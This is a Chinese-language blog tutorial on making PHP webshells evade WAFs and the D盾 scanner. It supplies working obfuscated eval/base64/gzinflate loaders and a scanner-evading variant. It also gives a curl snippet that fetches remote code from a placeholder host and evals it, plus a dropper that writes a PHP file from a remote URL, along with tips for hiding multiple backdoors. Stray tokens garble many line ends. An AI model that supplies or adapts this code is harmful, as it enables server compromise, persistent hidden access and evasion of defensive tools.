在滲透學習的過程當中,總會遇到各類狀況,例如 php 大馬被 waf 攔截的時候,那麼如何製做免殺 php webshell 呢,接下來就由我帶各位小夥伴們一塊兒踏上大馬免殺之路,不喜勿噴。php
一篇好的文章,內容能夠差,目錄必定要 ~~ 吹牛 ~~ 真實。css
0x0 php 內置函數加密html
小例子: 在製做免殺大馬以前,咱們先來看看,一個帶後門
的免殺 php 大馬是如何製做的。web
在後門網站 webshell8
下載好大馬。shell
去掉那些混淆代碼 .
''
能夠看到他大概是這樣的。瀏覽器
<?php
eval(gzinflate(base64_decode('大馬源碼')));
?>
有些小夥伴看到這裏可能有些暈暈的,關於這款大馬的分析,我博客文章服務器
http://kaurkd.coding.me/2018/03/17/%E5%88%86%E6%9E%90%E6%9F%90%E8%BF%87waf%E5%A4%A7%E9%A9%AC/#more網絡
分析過了了,就再也不囉嗦了。關於這篇文章提一下使用 echo
print_r
打印出來仍是亂或者彈個小框框的時候,burp
抓包很方便。框架
源碼加密curl
php 內置加密函數,其實就是那些編碼壓縮之類的函數,以下常見的函數
壓縮函數: gzcompress gzdeflate gzencode base64_encode
解壓函數: gzuncompress gzinflate gzdecode base64_decode
搭配加密函數,隨意搭配,多層加密也 OK。
base64_encode(gzcompress($code))
base64_encode(gzdeflate($code));
我簡單寫了個腳本,你們對應修改就OK
$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大馬源碼路徑
$encode = base64_encode(gzdeflate($code)); //加密函數本身修改就行
echo $encode; //輸出加密後代碼
我演示一遍
把大馬去掉 <?php
?>
保存爲 txt
加密後:
運行encode.php
在瀏覽器上獲得加密
複製到代碼中
OK 沒問題
接下來的問題就是關鍵字免殺的問題
eval(gzinflate(base64_decode()))
我直接用那款大馬混淆過的關鍵字拿來用
$password='';$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'加密後的代碼')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/
0x1 php 自定義加密
一圖勝千言
0x2 敏感函數免殺
主要是關鍵字的免殺,我通常直接偷網上帶後門大馬的。分享一個思路
這是love71
表哥分享的
<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大馬BASE64加密內容');
eval($a=$a);
?>
個人思路很簡單,把下面這段 base64
加密後
eval(gzinflate(base64_decode('大馬加密後')));
而後嵌套到上面的代碼
用 D 盾查殺 1 級
那麼如何讓 D 盾徹底免殺呢,我簡單修改了下。
<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大馬BASE64加密內容');
eval/**/(/**/(/**/$a=$a)/**/);
這讓我想起,D 哥的一條微博,不由菊花一緊。。
且用且珍惜。
爲了減少大馬體積,咱們經常使用 php 讀取網絡文件 curl
, fsockopen
,file_get_contents
函數,這樣的大馬總體體積甚至只有幾百字節
,可是要注意,目標網站要是禁用了,遠程讀取的某個函數
,別噴我這樣的大馬根本不法運行,還有讀取效率問題。
0x3 服務器遠程讀取
此段代碼(抄襲)借鑑自 szrzvdny
表哥
$ch = curl_init(); //初始化函數
$timeout = 5; //設置超時
curl_setopt ($ch, CURLOPT_URL, 'http://www.xxx.com/233.txt'); //設置你文件地址
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch); //運行curl,請求網頁。
curl_close($ch);
//最後關閉curl_close();
eval($file_contents); //執行代碼
233.txt 的內容,你直接把製做好的加密大馬,去掉 <?php
?>
上傳到網站上就 OK 了。
至於免殺問題,上面文章已經告訴你了,若是有興趣能夠去看我寫的一個失敗的大馬文章
http://kaurkd.coding.me/2018/03/17/%E6%89%93%E9%80%A0%E4%B8%80%E6%AC%BE%E6%AF%941kb%E8%BF%98%E5%B0%8F%E7%9A%84%E5%85%8D%E6%9D%80%E5%A4%A7%E9%A9%AC/#more
擴展思路。
0x4 服務器遠程下載
<?php
$a = 'http://www.xx.com/1.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
file_put_contents('a.php',$b);
運行後在同目錄下生成 a.php
內容爲 1.txt
關於後門的隱藏我不會給詳細代碼,只是分享一些,常見思路罷了(表哥能夠把菜刀從我脖子拿開了嘛。。)
0x5 隱藏
收信代碼網站簡單 base64 加密就 OK 了?
別人很容易看出的,使用自定義加密函數,來混淆,拆分,還有賦值變量,替換 &p
還有框架掛後門,xss 平臺,總之一句話,各類騷加密混淆。
這個也很重要,還有一個很猥瑣的思路,多後門,給個明面看的後門,暗地還有一個後門。
0x6 去除
首先,你得把大馬代碼解密出來,關於抓包不要本地測試,找臺服務器,註釋刪除些代碼來測試,常見後門關鍵字 geturl
hmlogin
等。。
但願讀完本篇文章對你有收穫。因爲我我的技術水平,沒法將文章擴展開,有興趣的表哥能夠去搞搞。做者文筆不大好,有些缺漏之處,請諒解指出。
咱們是站在前人的肩膀上成長起來的。